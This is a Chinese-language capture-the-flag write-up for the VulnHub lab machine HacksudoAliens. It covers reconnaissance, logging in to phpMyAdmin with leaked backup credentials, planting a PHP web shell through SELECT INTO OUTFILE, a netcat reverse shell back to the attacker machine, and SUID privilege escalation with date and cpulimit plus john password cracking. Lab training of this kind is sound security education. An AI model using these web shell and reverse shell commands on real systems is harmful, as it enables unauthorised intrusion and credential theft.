一、渗透测试环境
攻击机:192.168.17.131
靶机:192.168.17.141
靶机名称:HacksudoAliens
靶机下载地址:https://download.vulnhub.com/hacksudo/HacksudoAliens.zip
二、目标探测
nmap -sV 192.168.17.141查看目标开启的端口
nmap -sC -sV -Pn -p 20,80,9000 -n –script http-enum 192.168.17.141
查看目标端口的详细信息。
发现打开了22、80、9000端口。
三、进攻
1.使用浏览器访问目标主机的9000端口,应该会有突破点。
发现这里是phpMyadmin的登陆界面,我们需要找一下登录密码。
访问网站的backup目录,发现mysql数据库的备份文件。
打开之后发现一对用户名和密码。
使用此用户名和密码尝试登陆9000端口的phpMyadmin。
尝试在网站的根目录写入后门文件
SELECT “<?php system($_GET[cmd]); ?>” into outfile “/var/www/html.shell.php”
使用浏览器打开192.168.17.141/shell.php发现后门文件上上传成功了。
查看一下我们登录的用户
用户是www-data所属组也是www-data。接下来我们尝试进行提权。
四、提权
这里我们使用SUID进行提权。
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
我们先使用NetCat对网站进行远程连接。
Kail端使用命令nc -nlvp 4444来监听4444端口
利用网站后台的脚本,使用浏览器访问
http://192.168.17.141/shell.php?cmd=nc%20192.168.17.131%204444%20-e%20/bin/bash
使用/usr/bin/script -qc /bin/bash /dev/null命令进入shell模式
使用命令find / -user root -perm -4000 -exec ls -ldb {} ;发现可以利用date进行提权
进入GTFOBins来查询使用date来进行suid提权的方法,网址为:https://gtfobins.github.io/
越权访问/etc 目录下的密码文件
我们找打了用户hacksudo的密码,密码虽然是加密的,我们可以使用john工具进行破解
创建一个文件hash.txt,放密文拷贝到hash.txt中
使用命令john hash.txt破解密码
使用命令john -show hash.txt查看破解到的密码,发现用户hacksudo的密码为aliens
切换用户到hacksudo
我们尝试再次进行提权
使用命令find / -perm -u=s 2>/dev/null再次进行查找发现可以利用cpulimit进行提权
进入GTFOBins来查询使用cpulimit来进行suid提权的方法
进入/home/hacksudo/Downloads目录,使用命令./cpulimit -l 100 -f -- /bin/sh -p 进行提权
我们成功获得了root权限!进入/root目录查看flag
五、渗透思路总结
拿到靶机之后,发现开启了22、80、9000端口,我们先访问一下9000端口发现是phpAdmin的登录界面,在网站的backup目录下找到了数据库的备份文件,在其中发现了phpAdmin的登录用户名以及密码。我们在后台上传shell脚本,使用瑞士军刀natcat进行连接。这里我们获得了www-data的用户权限。接下来我们使用SUID进行提权。我们获得到了hacksudo用户的加密后的密码,使用john破解之后,获得到明文密码。再次使用SUID进行提权,获得了root密码,成功拿下flag!
VulnHub:CROSSROADS:1 crossroads:1为3月份vulnhub和HackMyVM刚刚上架的一台靶机,模拟了一台带有漏洞的医疗网站web服务器,要攻破这台机器,我们的最终目标是拿下它的root权限,靶机涉及到的漏洞点有smb魔术脚本、本…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论